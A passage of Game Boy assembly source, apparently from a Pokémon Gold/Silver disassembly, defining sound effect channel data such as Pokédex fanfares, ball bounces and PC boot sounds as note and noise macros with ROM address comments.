Sfx_BeatUp_Ch8: ; f1724 noise __, 3, $e8, $69 noise __, 7, $d8, $24 noise __, 3, $e8, $6c noise __, 5, $c8, $46 noise __, 7, $d1, $24 endchannel ; f1734 Sfx_SweetScent: ; f1734 musicheader 1, 5, Sfx_SweetScent_Ch5 ; f1737 Sfx_SweetScent_Ch5: ; f1737 dutycycle $2 soundinput $96 sound __, 7, $f8, $0760 sound __, 7, $e8, $0720 soundinput $df sound C_, 7, $f1, $0730 soundinput $8 endchannel ; f174c Sfx_BatonPass: ; f174c musicheader 2, 5, Sfx_BatonPass_Ch5 musicheader 1, 8, Sfx_BatonPass_Ch8 ; f1752 Sfx_BatonPass_Ch5: ; f1752 dutycycle $2 soundinput $f7 sound C#, 1, $f2, $0680 sound __, 2, $f1, $0760 sound C#, 1, $0, 0 sound __, 2, $f1, $0760 sound C_, 11, $0, 0 sound __, 2, $f1, $0760 soundinput $8 endchannel ; f1771 Sfx_BatonPass_Ch8: ; f1771 noise C#, 1, $f2, $20 endchannel ; f1775 Sfx_EggCrack: ; f1775 musicheader 1, 5, Sfx_EggCrack_Ch5 ; f1778 Sfx_EggCrack_Ch5: ; f1778 togglesfx notetype $1, $f1 dutycycle $0 octave 4 note D#, 1 note C_, 1 note __, 1 note F#, 1 endchannel ; f1784 Sfx_Evolved: ; f1784 musicheader 1, 5, Sfx_Evolved_Ch5 ; f1787 Sfx_Evolved_Ch5: ; f1787 togglesfx notetype $1, $c1 octave 4 note C_, 2 note E_, 2 note C_, 2 note E_, 3 note G_, 3 note B_, 3 octave 5 note E_, 2 note C_, 2 note E_, 2 note G_, 3 note B_, 3 octave 7 note C_, 16 endchannel ; f179b Sfx_MasterBall: ; f179b musicheader 1, 5, Sfx_MasterBall_Ch5 ; f179e Sfx_MasterBall_Ch5: ; f179e togglesfx dutycycle $1 notetype $2, $e1 octave 6 note B_, 2 octave 7 note D_, 2 octave 6 note B_, 2 note G_, 2 note B_, 2 note A#, 2 note A_, 2 note A#, 2 note A_, 2 intensity $c1 note G#, 2 note G_, 2 note F#, 2 intensity $91 note F_, 2 note E_, 2 note D#, 2 intensity $61 note D_, 2 note C#, 2 note C_, 2 endchannel ; f17c0 Sfx_EggHatch: ; f17c0 musicheader 1, 5, Sfx_EggHatch_Ch5 ; f17c3 Sfx_EggHatch_Ch5: ; f17c3 togglesfx notetype $2, $f1 dutycycle $2 octave 5 note E_, 1 note C_, 1 note __, 1 note G_, 1 note D_, 1 intensity $e2 note B_, 7 intensity $82 note B_, 7 intensity $42 note B_, 7 endchannel ; f17d9 Sfx_GsIntroCharizardFireball: ; f17d9 musicheader 1, 8, Sfx_GsIntroCharizardFireball_Ch8 ; f17dc Sfx_GsIntroCharizardFireball_Ch8: ; f17dc noise __, 9, $cf, $4d noise __, 9, $f1, $37 Sfx_GsIntroCharizardFireball_branch_f17e2: ; f17e2 noise __, 2, $f8, $4f noise __, 1, $c8, $26 noise __, 2, $d8, $5f noise __, 1, $a8, $37 loopchannel 12, Sfx_GsIntroCharizardFireball_branch_f17e2 noise __, 4, $f8, $6f noise __, 5, $d8, $5f noise __, 13, $d8, $5c noise C#, 9, $d3, $4f endchannel ; f17ff Sfx_GsIntroPokemonAppears: ; f17ff musicheader 1, 8, Sfx_GsIntroPokemonAppears_Ch8 ; f1802 Sfx_GsIntroPokemonAppears_Ch8: ; f1802 noise __, 2, $88, $4f noise __, 3, $8f, $2 noise __, 3, $5f, $12 noise __, 3, $3f, $22 noise __, 1, $f8, $27 noise __, 2, $f8, $4f noise __, 9, $f1, $0 endchannel ; f1818 Sfx_Flash: ; f1818 musicheader 1, 5, Sfx_Flash_Ch5 ; f181b Sfx_Flash_Ch5: ; f181b dutycycle $1 soundinput $ef sound __, 2, $40, $07e8 sound __, 2, $60, $07e8 sound __, 3, $80, $07e8 sound __, 6, $a0, $07e8 sound __, 7, $a0, $07e8 sound __, 8, $80, $07e8 sound __, 9, $60, $07e8 sound __, 10, $30, $07e8 sound __, 16, $12, $07e8 soundinput $8 endchannel ; f1846 Sfx_GameFreakLogoGs: ; f1846 musicheader 1, 5, Sfx_GameFreakLogoGs_Ch5 ; f1849 Sfx_GameFreakLogoGs_Ch5: ; f1849 dutycycle $3 soundinput $7f sound __, 5, $55, $07e2 sound __, 6, $75, $07e2 sound __, 7, $94, $07e2 sound __, 8, $b4, $07e2 sound __, 9, $b3, $07e2 sound __, 10, $93, $07e2 sound __, 11, $72, $07e2 sound __, 11, $53, $07e2 sound __, 11, $34, $07e2 sound __, 11, $15, $07e2 soundinput $8 endchannel ; f1878 Sfx_DexFanfareLessThan20: ; f1878 musicheader 4, 5, Sfx_DexFanfareLessThan20_Ch5 musicheader 1, 6, Sfx_DexFanfareLessThan20_Ch6 musicheader 1, 7, Sfx_DexFanfareLessThan20_Ch7 musicheader 1, 8, Sfx_DexFanfareLessThan20_Ch8 ; f1884 Sfx_DexFanfareLessThan20_Ch5: ; f1884 togglesfx tempo 124 volume $77 notetype $8, $b1 octave 3 note A_, 4 note F#, 2 note A_, 4 note F#, 2 note C#, 6 note G_, 6 note F#, 6 note E_, 2 note E_, 2 note E_, 2 note D_, 6 endchannel ; f189a togglesfx Sfx_DexFanfareLessThan20_Ch6: ; f189b togglesfx notetype $8, $c1 octave 3 note B_, 4 note A_, 2 note B_, 4 note A_, 2 note D#, 6 note A#, 6 note A_, 6 note A_, 2 note A_, 2 note G_, 2 note F#, 6 endchannel ; f18ac togglesfx Sfx_DexFanfareLessThan20_Ch7: ; f18ad togglesfx notetype $8, $25 octave 4 note D_, 6 octave 3 note A_, 2 note __, 2 note A_, 2 note A#, 4 note G_, 2 octave 4 note D#, 6 note D_, 2 note __, 4 octave 3 note E_, 1 note __, 1 note F#, 1 note __, 1 note G_, 1 note __, 1 note A_, 2 note __, 6 endchannel ; f18c7 togglesfx Sfx_DexFanfareLessThan20_Ch8: ; f18c8 togglesfx sfxtogglenoise $4 notetype $c note C#, 6 note __, 16 note __, 12 endchannel ; f18d1 togglesfx Sfx_DexFanfare140169: ; f18d2 musicheader 4, 5, Sfx_DexFanfare140169_Ch5 musicheader 1, 6, Sfx_DexFanfare140169_Ch6 musicheader 1, 7, Sfx_DexFanfare140169_Ch7 musicheader 1, 8, Sfx_DexFanfare140169_Ch8 ; f18de Sfx_DexFanfare140169_Ch5: ; f18de togglesfx tempo 120 volume $77 dutycycle $3 vibrato $12, $34 notetype $6, $b1 note __, 8 octave 3 note E_, 4 note E_, 4 note A_, 4 octave 4 note C#, 4 intensity $a4 note D_, 4 note C_, 4 octave 3 note A_, 2 note G_, 2 note F#, 4 note G_, 16 octave 2 note B_, 8 note __, 8 endchannel ; f1900 togglesfx Sfx_DexFanfare140169_Ch6: ; f1901 togglesfx dutycycle $2 vibrato $12, $34 notetype $6, $c1 octave 4 note E_, 4 note F#, 4 note G_, 4 note G_, 4 note G_, 4 note G_, 4 intensity $b4 note F#, 4 note G_, 4 note A_, 4 octave 5 note C_, 4 octave 4 note B_, 16 note G_, 8 note __, 8 endchannel ; f191d togglesfx Sfx_DexFanfare140169_Ch7: ; f191e togglesfx notetype $c, $25 note __, 4 octave 2 note A_, 1 octave 3 note C#, 1 note E_, 1 note A_, 3 note C#, 1 note __, 1 note D_, 1 note F#, 1 note A_, 1 octave 4 note D_, 3 octave 2 note A_, 1 note __, 1 note G_, 1 note B_, 1 octave 3 note D_, 1 note G_, 3 octave 2 note B_, 1 note __, 1 note G_, 4 note __, 4 endchannel ; f193e togglesfx Sfx_DexFanfare140169_Ch8: ; f193f togglesfx sfxtogglenoise $4 notetype $c note C_, 4 Sfx_DexFanfare140169_branch_f1945: ; f1945 note D_, 4 note C#, 1 note C#, 1 note C#, 1 note C#, 1 loopchannel 3, Sfx_DexFanfare140169_branch_f1945 note D_, 8 endchannel ; f1950 togglesfx Sfx_DexFanfare170199: ; f1951 musicheader 4, 5, Sfx_DexFanfare170199_Ch5 musicheader 1, 6, Sfx_DexFanfare170199_Ch6 musicheader 1, 7, Sfx_DexFanfare170199_Ch7 musicheader 1, 8, Sfx_DexFanfare170199_Ch8 ; f195d Sfx_DexFanfare170199_Ch5: ; f195d togglesfx tempo 112 volume $77 vibrato $12, $34 dutycycle $3 notetype $8, $b4 octave 3 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 6 note __, 2 note G_, 1 note __, 1 note G_, 1 note __, 1 intensity $c1 note F_, 4 note G_, 4 note A_, 4 notetype $c, $a8 note A#, 12 note __, 4 endchannel ; f1981 togglesfx Sfx_DexFanfare170199_Ch6: ; f1982 togglesfx vibrato $12, $34 dutycycle $3 notetype $8, $c4 octave 3 note A#, 1 note __, 1 note A#, 1 note __, 1 note A#, 6 note __, 2 note A#, 1 note __, 1 note A#, 1 note __, 1 intensity $d1 octave 4 note D#, 4 note D#, 4 note D#, 4 notetype $c, $b8 note D_, 12 note __, 4 endchannel ; f19a2 togglesfx Sfx_DexFanfare170199_Ch7: ; f19a3 togglesfx notetype $8, $25 octave 3 note D#, 1 note __, 1 note D#, 1 note __, 1 note D#, 6 note __, 2 note D#, 1 note __, 1 note D#, 1 note __, 1 note C_, 2 note __, 2 note C_, 2 note __, 2 note C_, 2 note __, 2 notetype $c, $25 octave 2 note A#, 12 note __, 4 endchannel ; f19bf togglesfx Sfx_DexFanfare170199_Ch8: ; f19c0 togglesfx sfxtogglenoise $4 notetype $8 note D_, 2 note D_, 2 note D_, 4 note D_, 4 note D_, 2 note D_, 2 note D_, 4 note D_, 4 note C#, 1 note C#, 1 note C#, 1 note C#, 1 notetype $c note B_, 16 endchannel ; f19d5 db $fd Sfx_DexFanfare200229: ; f19d6 musicheader 4, 5, Sfx_DexFanfare200229_Ch5 musicheader 1, 6, Sfx_DexFanfare200229_Ch6 musicheader 1, 7, Sfx_DexFanfare200229_Ch7 musicheader 1, 8, Sfx_DexFanfare200229_Ch8 ; f19e2 Sfx_DexFanfare200229_Ch5: ; f19e2 togglesfx tempo 124 volume $77 vibrato $12, $34 dutycycle $3 notetype $8, $b2 octave 3 note C_, 2 note E_, 2 note G_, 2 octave 4 note C_, 4 octave 3 note B_, 4 note A_, 4 note A#, 4 octave 4 note D#, 4 note G_, 4 notetype $c, $a8 note F#, 12 note __, 4 endchannel ; f1a03 togglesfx Sfx_DexFanfare200229_Ch6: ; f1a04 togglesfx vibrato $12, $34 dutycycle $3 notetype $8, $b2 octave 3 note E_, 2 note G_, 2 octave 4 note C_, 2 note E_, 4 note D_, 4 note C_, 4 note D#, 4 note G_, 4 note A#, 4 notetype $c, $b8 note A_, 12 note __, 4 endchannel ; f1a1e togglesfx Sfx_DexFanfare200229_Ch7: ; f1a1f togglesfx notetype $8, $25 octave 3 note C_, 1 note __, 1 note C_, 1 note __, 1 note C_, 1 note __, 1 note C_, 2 note E_, 2 note G_, 2 octave 4 note C_, 2 octave 3 note C_, 4 note D#, 2 note G_, 2 note A#, 2 octave 4 note D#, 2 octave 3 note D#, 4 note D_, 1 note __, 1 note D_, 1 note __, 1 octave 2 note A_, 2 octave 3 note D_, 1 note __, 1 note D_, 1 note __, 1 octave 2 note A_, 2 octave 3 note D_, 6 note __, 6 endchannel ; f1a49 togglesfx Sfx_DexFanfare200229_Ch8: ; f1a4a togglesfx sfxtogglenoise $4 notetype $8 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note D_, 4 note D_, 4 note D_, 4 note D_, 4 note D_, 4 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note D_, 4 note D_, 2 note D_, 2 note D_, 2 note D_, 2 note B_, 12 endchannel ; f1a65 togglesfx Sfx_DexFanfare230Plus: ; f1a66 musicheader 4, 5, Sfx_DexFanfare230Plus_Ch5 musicheader 1, 6, Sfx_DexFanfare230Plus_Ch6 musicheader 1, 7, Sfx_DexFanfare230Plus_Ch7 musicheader 1, 8, Sfx_DexFanfare230Plus_Ch8 ; f1a72 Sfx_DexFanfare230Plus_Ch5: ; f1a72 togglesfx tempo 112 volume $77 vibrato $12, $34 dutycycle $3 notetype $8, $a5 octave 3 note B_, 2 note G_, 2 note B_, 2 octave 4 note D_, 14 note __, 2 dutycycle $2 intensity $85 octave 2 note F_, 1 note __, 1 note F_, 6 intensity $a5 dutycycle $3 octave 3 note A_, 2 note G_, 2 note F_, 10 note __, 2 dutycycle $2 intensity $85 octave 2 note F_, 1 note __, 1 note F_, 6 intensity $a5 dutycycle $3 octave 3 note A#, 12 intensity $b2 note G_, 4 note A_, 4 note A#, 4 notetype $c, $a8 note A_, 14 note __, 2 endchannel ; f1ab1 togglesfx Sfx_DexFanfare230Plus_Ch6: ; f1ab2 togglesfx vibrato $12, $34 dutycycle $3 notetype $8, $b5 octave 4 note G_, 2 note D_, 2 note G_, 2 note F_, 14 note __, 4 note F_, 2 note E_, 2 note D_, 2 note C_, 2 octave 3 note B_, 2 note A_, 10 note __, 4 note A_, 2 octave 4 note C_, 2 note D_, 2 note D#, 12 intensity $c2 note G_, 4 note G_, 4 note G_, 4 notetype $c, $b8 note F#, 14 note __, 2 endchannel ; f1ad9 togglesfx Sfx_DexFanfare230Plus_Ch7: ; f1ada togglesfx notetype $8, $25 octave 3 note G_, 6 note A#, 4 note F_, 2 note A#, 1 note __, 1 note A#, 1 note __, 1 note A#, 1 note __, 1 note A#, 2 note __, 2 note D_, 1 note __, 1 note D_, 6 note A_, 4 note F_, 2 note A_, 1 note __, 1 note A_, 1 note __, 1 note A_, 1 note __, 1 note A_, 2 note __, 2 note C_, 1 note __, 1 note C_, 6 note G_, 4 note D#, 2 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note A#, 4 note G_, 4 note D#, 4 notetype $c, $25 note D_, 14 note __, 2 endchannel ; f1b0b togglesfx Sfx_DexFanfare230Plus_Ch8: ; f1b0c togglesfx sfxtogglenoise $4 notetype $8 note D_, 2 note D_, 2 note D_, 2 Sfx_DexFanfare230Plus_branch_f1b14: ; f1b14 note D_, 6 note D_, 2 note D_, 2 note D_, 2 note D_, 6 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 loopchannel 2, Sfx_DexFanfare230Plus_branch_f1b14 note D_, 6 note D_, 2 note D_, 2 note C#, 1 note C#, 1 note D_, 4 note D_, 4 note D_, 4 Sfx_DexFanfare230Plus_branch_f1b2b: ; f1b2b note C#, 1 loopchannel 18, Sfx_DexFanfare230Plus_branch_f1b2b note D_, 6 endchannel ; f1b32 togglesfx Sfx_NotVeryEffective: ; f1b33 musicheader 1, 8, Sfx_NotVeryEffective_Ch8 ; f1b36 Sfx_NotVeryEffective_Ch8: ; f1b36 noise __, 5, $f1, $5f noise __, 2, $a0, $42 noise C_, 1, $f1, $53 endchannel ; f1b40 Sfx_Damage: ; f1b40 musicheader 1, 8, Sfx_Damage_Ch8 ; f1b43 Sfx_Damage_Ch8: ; f1b43 noise __, 5, $f1, $5e noise __, 2, $a0, $12 noise __, 5, $f0, $32 noise C_, 1, $f1, $44 endchannel ; f1b50 Sfx_SuperEffective: ; f1b50 musicheader 1, 8, Sfx_SuperEffective_Ch8 ; f1b53 Sfx_SuperEffective_Ch8: ; f1b53 noise __, 4, $f1, $4f noise __, 2, $c8, $22 noise __, 3, $f8, $3f noise __, 4, $d0, $15 noise C#, 1, $f2, $35 endchannel ; f1b63 Sfx_BallBounce: ; f1b63 musicheader 2, 5, Sfx_BallBounce_Ch5 musicheader 1, 6, Sfx_BallBounce_Ch6 ; f1b69 Sfx_BallBounce_Ch5: ; f1b69 dutycycle $2 sound __, 9, $e1, $0740 sound C_, 8, $0, 0 sound __, 9, $b1, $0740 sound C_, 8, $0, 0 sound __, 9, $81, $0740 sound C_, 8, $0, 0 sound __, 9, $51, $0740 sound C_, 8, $0, 0 endchannel ; f1b8c Sfx_BallBounce_Ch6: ; f1b8c dutycycle $2 sound __, 3, $8, 0 sound __, 9, $b1, $0741 sound C_, 8, $0, 0 sound __, 9, $81, $0741 sound C_, 8, $0, 0 sound __, 9, $51, $0741 sound C_, 8, $0, 0 sound __, 9, $21, $0741 sound C_, 8, $0, 0 endchannel ; f1bb3 Sfx_SweetScent2: ; f1bb3 musicheader 2, 5, Sfx_SweetScent2_Ch5 musicheader 1, 8, Sfx_SweetScent2_Ch8 ; f1bb9 Sfx_SweetScent2_Ch5: ; f1bb9 soundinput $af dutycycle $1 sound __, 7, $f8, $05f0 sound __, 3, $f1, $0620 sound C_, 1, $f1, $0650 soundinput $8 endchannel ; f1bcc Sfx_SweetScent2_Ch8: ; f1bcc noise __, 3, $e8, $22 noise C_, 2, $aa, $0 Sfx_SweetScent2_branch_f1bd2: ; f1bd2 noise __, 5, $d9, $10 noise __, 9, $91, $0 noise __, 3, $61, $7 loopchannel 5, Sfx_SweetScent2_branch_f1bd2 noise __, 5, $99, $0 noise __, 11, $61, $0 noise __, 7, $59, $0 noise __, 3, $21, $7 endchannel ; f1bec Sfx_HitEndOfExpBar: ; f1bec musicheader 2, 5, Sfx_HitEndOfExpBar_Ch5 musicheader 1, 6, Sfx_HitEndOfExpBar_Ch6 ; f1bf2 Sfx_HitEndOfExpBar_Ch5: ; f1bf2 dutycycle $2 sound __, 2, $e1, $0789 sound __, 2, $e1, $07a2 sound C_, 1, $e1, $07b1 endchannel ; f1c01 Sfx_HitEndOfExpBar_Ch6: ; f1c01 dutycycle $2 sound __, 2, $e1, $07a2 sound __, 2, $e1, $07b1 sound C_, 1, $e1, $07c4 endchannel ; f1c10 Sfx_GiveTrademon: ; f1c10 musicheader 1, 5, Sfx_GiveTrademon_Ch5 ; f1c13 Sfx_GiveTrademon_Ch5: ; f1c13 sound C#, 1, $0, 0 dutycycle $1 soundinput $a7 sound C_, 12, $f4, $0750 sound C_, 12, $d4, $0750 sound C_, 12, $b4, $0750 sound C_, 12, $94, $0750 sound C_, 12, $74, $0750 sound C_, 12, $54, $0750 sound C_, 12, $34, $0750 sound C_, 12, $14, $0750 soundinput $8 endchannel ; f1c3e Sfx_GetTrademon: ; f1c3e musicheader 1, 5, Sfx_GetTrademon_Ch5 ; f1c41 Sfx_GetTrademon_Ch5: ; f1c41 sound C#, 1, $0, 0 dutycycle $2 soundinput $bf sound C_, 12, $14, $07bc sound C_, 12, $34, $07bc sound C_, 12, $54, $07bc sound C_, 12, $74, $07bc sound C_, 12, $94, $07bc sound C_, 12, $b4, $07bc sound C_, 12, $d4, $07bc sound C_, 12, $f4, $07bc soundinput $8 endchannel ; f1c6c Sfx_TrainArrived: ; f1c6c musicheader 3, 5, Sfx_TrainArrived_Ch5 musicheader 1, 6, Sfx_TrainArrived_Ch6 musicheader 1, 8, Sfx_TrainArrived_Ch8 ; f1c75 Sfx_TrainArrived_Ch6: ; f1c75 tone $0008 sound __, 9, $0, 0 Sfx_TrainArrived_Ch5: ; f1c7c dutycycle $2 sound __, 5, $5f, $0691 sound __, 5, $6f, $0694 sound __, 5, $78, $0697 sound __, 5, $7f, $069a sound __, 5, $68, $06ae sound C_, 1, $6f, $06ab sound F_, 9, $65, $06a8 endchannel ; f1c9b Sfx_TrainArrived_Ch8: ; f1c9b noise __, 6, $af, $10 noise __, 5, $9f, $20 noise __, 5, $8f, $21 noise __, 5, $7f, $22 noise __, 5, $8f, $21 noise __, 5, $9f, $20 noise __, 5, $9f, $10 noise F_, 9, $a3, $0 endchannel ; f1cb4 Sfx_2Boops: ; f1cb4 musicheader 1, 5, Sfx_2Boops_Ch5 ; f1cb7 Sfx_2Boops_Ch5: ; f1cb7 dutycycle $2 Sfx_2Boops_branch_f1cb9: ; f1cb9 soundinput $79 sound __, 2, $99, $0563 sound __, 5, $f2, $04b5 soundinput $43 sound C_, 1, $f8, $05cd loopchannel 2, Sfx_2Boops_branch_f1cb9 soundinput $8 endchannel ; f1cd0 Sfx_UnknownCB: ; f1cd0 musicheader 1, 8, Sfx_UnknownCB_Ch8 ; f1cd3 Sfx_Menu_Ch8: ; f1cd3 noise __, 2, $e2, $33 noise __, 9, $e1, $22 endchannel ; f1cda Sfx_Pokeflute_Ch7: ; f1cda tempo 256 volume $77 togglesfx vibrato $10, $14 notetype $c, $10 octave 5 note E_, 2 note F_, 2 note G_, 4 note A_, 2 note G_, 2 octave 6 note C_, 4 note C_, 2 note D_, 2 note C_, 2 octave 5 note G_, 2 note A_, 2 note F_, 2 note G_, 8 note __, 12 endchannel ; f1cf8 Sfx_PlacePuzzlePieceDown_Ch8: ; f1cf8 noise __, 3, $f7, $24 noise __, 3, $f7, $34 noise __, 5, $f7, $44 noise __, 9, $f4, $55 noise __, 9, $f1, $44 endchannel ; f1d08 Sfx_EnterDoor_Ch8: ; f1d08 noise __, 10, $f1, $44 noise __, 9, $d1, $43 endchannel ; f1d0f Sfx_SwitchPokemon_Ch5: ; f1d0f dutycycle $2 sound __, 9, $e1, $0740 endchannel ; f1d16 Sfx_SwitchPokemon_Ch6: ; f1d16 dutycycle $2 sound __, 3, $8, 0 sound __, 9, $b1, $0741 endchannel ; f1d21 Sfx_PokeballsPlacedOnTable_Ch5: ; f1d21 dutycycle $2 soundinput $3a sound __, 5, $f2, $0200 soundinput $22 sound __, 9, $e2, $0200 soundinput $8 endchannel ; f1d32 Sfx_BallWobble_Ch5: ; f1d32 dutycycle $2 soundinput $3a sound __, 5, $f2, $0400 soundinput $22 sound __, 9, $e2, $0400 soundinput $8 endchannel ; f1d43 Sfx_Tally_Ch5: ; f1d43 dutycycle $2 sound __, 5, $f1, $0780 endchannel ; f1d4a Sfx_Tally_Ch6: ; f1d4a dutycycle $2 sound __, 2, $8, 0 sound __, 5, $a1, $0761 endchannel ; f1d55 Sfx_Transaction_Ch5: ; f1d55 dutycycle $2 sound __, 5, $e1, $0700 sound C_, 9, $f2, $07e0 endchannel ; f1d60 Sfx_Transaction_Ch6: ; f1d60 dutycycle $2 sound __, 2, $8, 0 sound __, 5, $91, $06c1 sound C_, 9, $a2, $07a1 endchannel ; f1d6f Sfx_Bump_Ch5: ; f1d6f dutycycle $2 soundinput $5a sound __, 16, $f1, $0300 soundinput $8 endchannel ; f1d7a Sfx_ExitBuilding_Ch8: ; f1d7a noise __, 3, $f1, $54 noise __, 13, $71, $23 noise __, 3, $b1, $54 noise __, 13, $61, $23 noise __, 7, $41, $54 endchannel ; f1d8a Sfx_ReadText2_Ch5: ; f1d8a Sfx_ReadText_Ch5: ; f1d8a dutycycle $2 sound __, 1, $91, $07c0 sound __, 1, $81, $07d0 sound __, 1, $91, $07c0 sound __, 13, $a1, $07d0 endchannel ; f1d9d Sfx_Potion_Ch5: ; f1d9d dutycycle $2 soundinput $17 sound __, 16, $f0, $04f0 sound __, 16, $f2, $0650 soundinput $8 endchannel ; f1dac Sfx_Poison_Ch5: ; f1dac Sfx_Poison_branch_f1dac: ; f1dac dutycycle $0 soundinput $14 sound __, 5, $f2, $0600 loopchannel 4, Sfx_Poison_branch_f1dac sound __, 16, $f3, $0600 soundinput $8 endchannel ; f1dbf Sfx_FullHeal_Ch5: ; f1dbf dutycycle $2 soundinput $14 sound __, 5, $f2, $0600 sound __, 5, $f2, $0600 soundinput $17 sound __, 16, $f2, $0600 soundinput $8 endchannel ; f1dd4 Sfx_GotSafariBalls_Ch5: ; f1dd4 dutycycle $2 soundinput $15 sound __, 16, $f0, $04f0 sound __, 16, $f2, $0650 soundinput $8 endchannel ; f1de3 Sfx_BootPc_Ch5: ; f1de3 dutycycle $2 sound __, 16, $f2, $07c0 sound __, 16, $0, 0 sound __, 4, $a1, $0780 sound __, 4, $a1, $0700 sound __, 4, $a1, $0740 sound __, 4, $a1, $0700 sound __, 4, $a1, $0780 sound __, 4, $a1, $0700 sound __, 4, $a1, $07c0 sound __, 9, $a1, $0700 endchannel ; f1e0e Sfx_ShutDownPc_Ch5: ; f1e0e dutycycle $2 sound __, 5, $f0, $0600 sound __, 5, $f0, $0400 sound __, 5, $f0, $0200 sound __, 2, $0, 0 endchannel ; f1e21 Sfx_ChoosePcOption_Ch5: ; f1e21 dutycycle $2 sound __, 7, $f0, $0700 sound __, 5, $0, 0 sound __, 7, $f0, $0700 sound __, 2, $0, 0 endchannel ; f1e34 Sfx_EscapeRope_Ch5: ; f1e34 dutycycle $1 soundinput $17 sound __, 16, $d7, $0600 sound __, 16, $b7, $0580 sound __, 16, $87, $0500 sound __, 16, $47, $0480 sound __, 16, $17, $0400 soundinput $8 endchannel ; f1e4f Sfx_PushButton_Ch5: ; f1e4f dutycycle $2 sound __, 5, $0, 0 sound __, 3, $f1, $0680 sound __, 2, $0, 0 sound __, 5, $f1, $0780 sound __, 5, $0, 0 endchannel ; f1e66 Sfx_SecondPartOfItemfinder_Ch5: ; f1e66 dutycycle $2 soundinput $2c sound __, 5, $f2, $0500 soundinput $22 sound __, 3, $f1, $0500 soundinput $8 sound __, 2, $0, 0 endchannel ; f1e7b Sfx_WarpTo_Ch5: ; f1e7b dutycycle $1 soundinput $17 sound __, 16, $d7, $0500 sound __, 16, $b7, $0580 sound __, 16, $87, $0600 sound __, 16, $47, $0680 sound __, 16, $17, $0700 soundinput $8 endchannel ; f1e96 Sfx_WarpFrom_Ch5: ; f1e96 dutycycle $1 soundinput $17 sound __, 16, $d7, $0700 sound __, 16, $b7, $0680 sound __, 16, $87, $0600 sound __, 16, $47, $0580 sound __, 16, $17, $0500 soundinput $8 endchannel ; f1eb1 Sfx_ChangeDexMode_Ch5: ; f1eb1 dutycycle $1 soundinput $16 sound __, 16, $d2, $0500 soundinput $8 endchannel ; f1ebc Sfx_JumpOverLedge_Ch5: ; f1ebc dutycycle $2 soundinput $95 sound __, 16, $f2, $0400 soundinput $8 endchannel ; f1ec7 Sfx_GrassRustle_Ch8: ; f1ec7 noise __, 3, $f1, $32 noise __, 3, $0, $0 noise __, 3, $f1, $22 noise __, 2, $0, $0 endchannel ; f1ed4 Sfx_Fly_Ch8: ; f1ed4 noise __, 3, $f1, $12 noise __, 3, $0, $0 noise __, 3, $a1, $12 noise __, 3, $0, $0 noise __, 3, $d1, $12 noise __, 3, $0, $0 noise __, 3, $81, $12 noise __, 3, $0, $0 noise __, 3, $b1, $12 noise __, 3, $0, $0 noise __, 3, $61, $12 noise __, 3, $0, $0 noise __, 3, $91, $12 noise __, 3, $0, $0 noise __, 3, $41, $12 noise __, 3, $0, $0 endchannel ; f1f05 Sfx_Wrong_Ch5: ; f1f05 dutycycle $3 soundinput $5a sound __, 5, $f0, $0500 soundinput $8 sound __, 5, $0, 0 sound __, 16, $f0, $0500 sound __, 2, $0, 0 endchannel ; f1f1c Sfx_Wrong_Ch6: ; f1f1c dutycycle $3 sound __, 5, $f0, $0401 sound __, 5, $0, 0 sound __, 16, $f0, $0401 sound __, 2, $0, 0 endchannel ; f1f2f Sfx_Squeak_Ch5: ; f1f2f dutycycle $0 soundinput $17 sound __, 16, $d2, $0700 soundinput $8 endchannel ; f1f3a Sfx_Strength_Ch8: ; f1f3a noise __, 5, $a2, $23 noise __, 9, $f1, $34 noise __, 16, $0, $0 noise __, 3, $f7, $24 noise __, 3, $f7, $34 noise __, 5, $f7, $44 noise __, 9, $f4, $55 noise __, 9, $f1, $44 endchannel ; f1f53 Sfx_Boat_Ch5: ; f1f53 dutycycle $2 sound __, 16, $f0, $0500 sound __, 5, $0, 0 sound __, 16, $f0, $0500 sound __, 16, $f0, $0500 sound __, 16, $f0, $0500 sound __, 16, $f0, $0500 sound __, 16, $f2, $0500 endchannel ; f1f72 Sfx_Boat_Ch6: ; f1f72 dutycycle $3 sound __, 16, $f0, $0482 sound __, 5, $0, 0 sound __, 16, $f0, $0482 sound __, 16, $f0, $0482 sound __, 16, $f0, $0482 sound __, 16, $f0, $0482 sound __, 16, $f2, $0482 endchannel ; f1f91 Sfx_WallOpen_Ch5: ; f1f91 dutycycle $1 soundinput $3a sound __, 5, $f2, $0500 soundinput $22 sound __, 5, $e2, $0500 soundinput $3a sound __, 5, $f2, $0700 soundinput $22 sound __, 16, $e2, $0700 soundinput $8 endchannel ; f1fae Sfx_ElevatorEnd_Ch5: ; f1fae dutycycle $2 sound __, 16, $f3, $0730 sound __, 9, $65, $0730 sound __, 16, $f4, $0700 sound __, 16, $74, $0700 sound __, 16, $44, $0700 sound __, 16, $24, $0700 endchannel ; f1fc9 Sfx_ThrowBall_Ch5: ; f1fc9 dutycycle $2 soundinput $2f sound __, 16, $f2, $0780 endchannel ; f1fd2 Sfx_ThrowBall_Ch6: ; f1fd2 dutycycle $2 sound __, 16, $c2, $0782 endchannel ; f1fd9 Sfx_Shine_Ch5: ; f1fd9 dutycycle $0 sound __, 1, $d2, $0700 sound __, 1, $d2, $0740 sound __, 1, $d2, $0780 sound __, 1, $d2, $07c0 sound __, 11, $e1, $07e0 sound __, 2, $0, 0 endchannel ; f1ff4 Sfx_BallPoof_Ch5: ; f1ff4 dutycycle $2 soundinput $16 sound __, 16, $f2, $0400 soundinput $8 endchannel ; f1fff Sfx_BallPoof_Ch8: ; f1fff noise __, 16, $a2, $22 endchannel ; f2003 Sfx_Unknown3A_Ch5: ; f2003 sound __, 16, $d1, $0200 soundinput $8 endchannel ; f200a Sfx_Unknown3A_Ch8: ; f200a noise __, 5, $f5, $33 noise __, 9, $f4, $22 noise __, 16, $f2, $21 endchannel ; f2014 Sfx_Run_Ch8: ; f2014 noise __, 3, $61, $23 noise __, 3, $a1, $33 noise __, 3, $c1, $33 noise __, 3, $51, $11 noise __, 3, $f1, $33 noise __, 3, $41, $11 noise __, 3, $c1, $33 noise __, 3, $31, $11 noise __, 3, $81, $33 noise __, 3, $31, $11 noise __, 9, $41, $33 endchannel ; f2036 Sfx_SlotMachineStart_Ch5: ; f2036 dutycycle $2 soundinput $44 sound __, 16, $f0, $04f0 soundinput $17 sound __, 16, $f2, $0650 soundinput $8 endchannel ; 